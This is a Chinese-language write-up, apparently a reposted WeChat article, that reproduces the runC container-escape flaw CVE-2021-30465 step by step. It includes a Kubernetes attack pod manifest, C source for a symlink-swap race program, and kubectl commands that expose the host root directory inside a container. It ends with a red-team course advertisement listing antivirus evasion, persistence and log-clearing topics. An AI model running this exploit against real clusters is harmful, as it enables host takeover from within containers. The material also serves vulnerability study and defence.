RunC漏洞导致容器逃逸(CVE-2021-30465)
2022-1-6 07:50:0 Author: mp.weixin.qq.com(查看原文) 阅读量:49 收藏

本文作者:BLACK(红队攻防班讲师)


场景介绍
runC是⼀个CLI⼯具,⽤于根据OCI规范⽣成和运⾏容器,该⼯具被⼴泛的应⽤于各种虚拟化环境中,如Kubernetes。
该漏洞是由于挂载卷时,runC不信任⽬标参数,并将使⽤ “filepath-securejoin” 库来解析任何符号链接并确保解析的⽬标在容器根⽬录中,但是如果⽤符号链接替换检查的⽬标⽂件时,可以将主机⽂件挂载到容器中。⿊客可利⽤该漏洞能将宿主机⽬录挂载到容器中,来实现容器逃逸。

漏洞详情
在容器层⾯挂载卷和挂载⽬录是不⼀样的。
挂载⽬录,对容器来说,只是简单把⽬录与容器的⽬录做映射绑定,⽽⽬录的权限还是在主机,需要⽤户⾃制维护,⼿动处理权限等问题。

卷 (Volume) 是受控存储,挂载卷后是由容器引擎进⾏管理维护的,也就是把对应卷的所有权交给了容器引擎(本次漏洞的核⼼点)

正常定义卷A之后 ,若a容器挂载了卷A,那它同时也挂载了卷A下⾯的⽬录。

当a容器起来后,恶意程序疯狂的在挂载的⽬录下刷新软连接与⽬录的关系。与此同时若b容器也像a容器⼀样挂载了相同中的卷和对应卷下⾯的⽬录。

因为卷所有权这个时候是在引擎内,并且a容器相同卷下的⽬录还在刷新软连接(相同于创建软连接)这个时间在容器引擎内部就会存在资源竞争,形成了漏洞。

环境搭建
漏洞环境准备:

# docker./metarget cnv install cve-2021-30465# k8s./metarget gadget install k8s --version 1.16.5 --domestic

在宿主机的/⽬录下建⽴flag⽂件


漏洞复现
因为是利⽤竞争条件来进⾏利⽤的,有很⼤概率失败的。
步骤⼀:创建攻击Pod

sudo kubectl create -f - <<EOFapiVersion: v1kind: Podmetadata:name: attackspec:terminationGracePeriodSeconds: 1containers:- name: c1image: ubuntu:latestcommand: [ "/bin/sleep", "inf" ]env:- name: MY_POD_UIDvalueFrom:fieldRef:fieldPath: metadata.uidvolumeMounts:- name: test1mountPath: /test1- name: test2mountPath: /test2$(for c in {2..20}; docat <<EOC- name: c$cimage: donotexists.com/do/not:existcommand: [ "/bin/sleep", "inf" ]volumeMounts: #容器内挂载点- name: test1 #宿主机⽬录名mountPath: /test1 #容器内⽬录名- name: test2mountPath: /test1/mnt1- name: test2mountPath: /test1/mnt2- name: test2mountPath: /test1/mnt3- name: test2mountPath: /test1/mnt4- name: test2mountPath: /test1/zzzEOCdone)volumes:- name: test1 #宿主机⽬录名
emptyDir: #宿主机挂载点medium: "Memory"- name: test2emptyDir:medium: "Memory"EOF

步骤⼆:编译恶意程序
保存以下代码为 race.c ⽂件并编译 gcc race.c -o race :

#define _GNU_SOURCE#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <unistd.h>#include <sys/syscall.h>#ifndef RENAME_EXCHANGE#define RENAME_EXCHANGE (1 << 1)#endifint main(int argc, char *argv[]) {if (argc != 4) {fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);exit(EXIT_FAILURE);}char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);if (dirfd < 0)exit(EXIT_FAILURE);if (mkdir(name1, 0755) < 0)perror("mkdir failed");if (symlink(linkdest, name2) < 0)perror("symlink failed");while (1)syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);}


步骤三:执⾏恶意程序

将恶意程序拷⻉⾄c1容器内执⾏:

kubectl cp race -c c1 attack:/test1/

然后进去容器创建符号链接:

sudo kubectl exec -it attack -c c1 bashln -s / /test2/test2

进⼊/test1⽬录下执⾏程序:

seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{}/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/


接着更新c2-c20的容器镜像为合法镜像。新打开⼀个终端,执⾏以下命令更新镜像,⼀旦更新, pod会尝试创建容器。

for c in {2..20}; dosudo kubectl set image pod attack c$c=ubuntu:latestdone

执⾏以下命令查看漏洞是否利⽤成功:

for c in {2..20}; doecho ~~ Container c$c ~~sudo kubectl exec -ti pod/attack -c c$c -- ls /test1/zzzdone

若利⽤成功,会打印出/test1/zzz⽬录下的内容,也即宿主机根⽬录的内容:


参考⽂献
https://blog.champtar.fr/runc-symlink-CVE-2021-30465/
https://mp.weixin.qq.com/s/WRRjLKk_C9pq2WlvnA-NZQ

1.7  红队攻防 第5期  最后来袭

课程费用

每期班定价2999第五期班早鸟2499(前40名送499元内网知识星球名额),每个报名学员都可享受一次免费重听后续任意一期班的权益,一次没学懂就再来一遍!

培训采用在线直播+随堂录播+作业+微信群讲师解答的形式,无需等待,报名后立即进入“内网星球”开始预习。毕业推荐HW,推荐就业,有永久录播,报一期班可免费再参加后续任意一期班,内部VIP学习群永久有效。(可开发票,支付信用卡、花呗分期)

全新课程目录5.0版

第1天课信息收集总体概念
被动信息收集

信息收集的总体概念以及在整个红队流程中的位置;
被动信息收集的基本结构和基本逻辑;
被动信息收集的常见手段(网络空间搜索、被动信息收集工具、传统搜索);
被动信息收集后的信息处理;
被动信息收集工具的底层原理以及如何编写;
第2天课主动信息收集
信息收集完成之后的信息综合处理
主动信息收集的基本结构和基本逻辑;
主动信息收集的常见手段(仅限扫描的nmap和扫描带有poc的goby);
主动信息收集后的信息处理;
主动信息收集工具的底层原理以及如何编写;
如何将主动信息收集和被动信息收集的信息综合处理;
收集到的信息如何衔接到下一步的红队流程中;
第3天课社会工程学
社会工程学的含义以及实际应用;
社会工程学的知识体系;
社会工程学的学习方法;
第4天课社会工程学中的交互
社会工程学中的常见钓鱼方式以及应用;
社会工程学中如何根据收集到的信息利用目标的社会属性弱点进行交互;
社会工程学中的信任获得和信任利用方式;
第5天课实战中的快速审计
寻找源码中的多种途径;
快速查找源码中可利用的脆弱点;
使用工具发现脆弱点;
第6天课POC的编写
Java类与对象的概念;
Java中基础语法的学习;
POC编写应具备的哪些条件;
Idea工具的安装;
第7天课POC的编写
本地IO进行内容读写;
网络请求进行发包模拟;
POC实战;

第8天课Windows内网提权
Potato家族提权;补丁提权;系统配置错误提权;
第三方服务提权;组策略提权;Bypassuac;
数据库提权;令牌窃取;密码收集提权
第9天课Liunx内网提权
系统内核提权;第三方服务提权;
数据库提权;密码收集提权;
键盘记录提权;Suid提权;
Sudo提权;反弹shell提权;
第10天课内网穿透
内网穿透概述及正向代理和反向代理;
花生壳内网穿透;Frp内网穿透;
Ngrok内网穿透;reGeorg+Proxifier;
向日葵代理及teamviewer;
最小化渗透概述;云函数;域前置;
第11天课外网打点技巧和Kerberos认证原理
入口权限获取;java中间件Nday;
php集成环境;开源程序Nday;
边界网络设备利用;基础服务getshell;
kerberos认证;kerberos认证流程;
第12天课域内信息收集及域信任
域内信息收集概述;
域内用户组收集;域信任关系收集;
用户目录收集;预控日志收集;
Arp信息收集;Tcpdump;Sshkey收集;
铭感配置读取;网络拓扑架构分析判断;
第13天课域渗透工具实操实战
Setspn;Nslookup;AdFind;
Psloggendon;360safebrowserdecrypt;
SchtaskBackDoorWebshell;regeditBypassUAC;
第14天课票据伪造、域委派攻击域控攻击
PTH认证过程解析;票据伪造攻击原理;
Mimikatz实现票据伪造攻击;
域委派
原理;域委派攻击方法;
zerologin;nopac
第15天课域林渗透
域林渗透概述和父域子域及域信任关系分析;大型域渗透思路;
预控定位;Pth喷射;域信任攻击;
组策略漏洞;Web及系统漏洞;逃逸漏洞;
第16天课Windows权限维持
Windows权限维持概述及隐藏技巧;关闭杀软;
注册表自启动;组策略脚本;
计划任务;服务自启动;
内存码;进程劫持;隐蔽隧道;
第17天课Liunx权限维持
Liunx权限维持概述及隐藏技巧;
添加用户;SUIDshell;
SSH公私钥;软连接;
crontab计划任务;Strace后门;Openssh后门;
隐蔽隧道;关杀软;

第18天课痕迹清理
Windows操作系统的痕迹清理;
Windows痕迹清理的基本思路和思考逻辑;
Windows清理登录痕迹、操作痕迹及时间痕迹;
Linux操作系统的痕迹清理;
Linux痕迹清理的基本思路和思考逻辑;
Linux清理登录痕迹、操作痕迹及时间痕迹;
第19天课红队之反溯源
工作机器;攻击资源;匿名攻击;
识别反制;反溯源案例;
第20天课Meterpreter木马分析
反编译meterprter源码;
分析meterpreter源码;
源码级别免杀深入浅出;

第21天课文件的免杀
免杀中使用的编程语言及相关知识基础
程序的基本结构;
c++免杀中用到的基础;
python免杀中用到的基础;
win32api基础;
使用c++编写最基本的socket;
使用python编写最基本的socket;

第22天课文件的免杀
免杀中使用的编程语言及相关知识基础;
payload的基本结构和编程语言的实战;
payload的基本结构(以MSFf和CS举例);
c2的基本原理;
使用c++编写最基本的shellcode加载器;
使用python编写最基本的shellcode加载器;
第23天课文件的免杀
杀毒软件的基本原理以及绕过思路
针对火绒的静态分析的特点分析及绕过思路;
针对windowsdefender的shellcode特征码的特点分析及绕过思路;
针对360的动态分析的特点分析及绕过思路;
针对人工分析的绕过以及处理;

第24天课


第25天课

第26天课

实际红队案例分享、红队攻击思路
红队模拟面试;
实际红队案例分享;
红队攻击思路;
红队靶场实战演练讲解

真实环境红蓝对抗
针对国内环境下的云服务提供商的生产环境,将本期同学分为AB两队,每支队伍都拥有一个目标,为了模拟真实环境将采用两个不同的云服务提供商(不透露具体厂商),每一个环境都将开启不同的对外公开的服务(为避免模拟本地来攻击对方,服务的种类和数量都不相同),讲师会模拟普通用户来使用两队的环境,攻击之前我会私聊AB两队队长相关登录环境,队长也要私聊我队员的攻击机的公网ip方便识别是否犯规,实战开始时向对方公布环境地址。

*大纲仅作为参考,会根据当期进度有所变化。

报名咨询联系小客服


扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前50000+人已关注加入我们

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1NjgzOTAyMg==&mid=2247497427&idx=1&sn=3b5904105fbf141cccdc524ca4382e01&chksm=fc3c4fd2cb4bc6c4a413875b8987f99612bf4e9647a1a3f9680ac1608048aedb60c39c4bcf5b#rd
如有侵权请联系:admin#unsafe.sh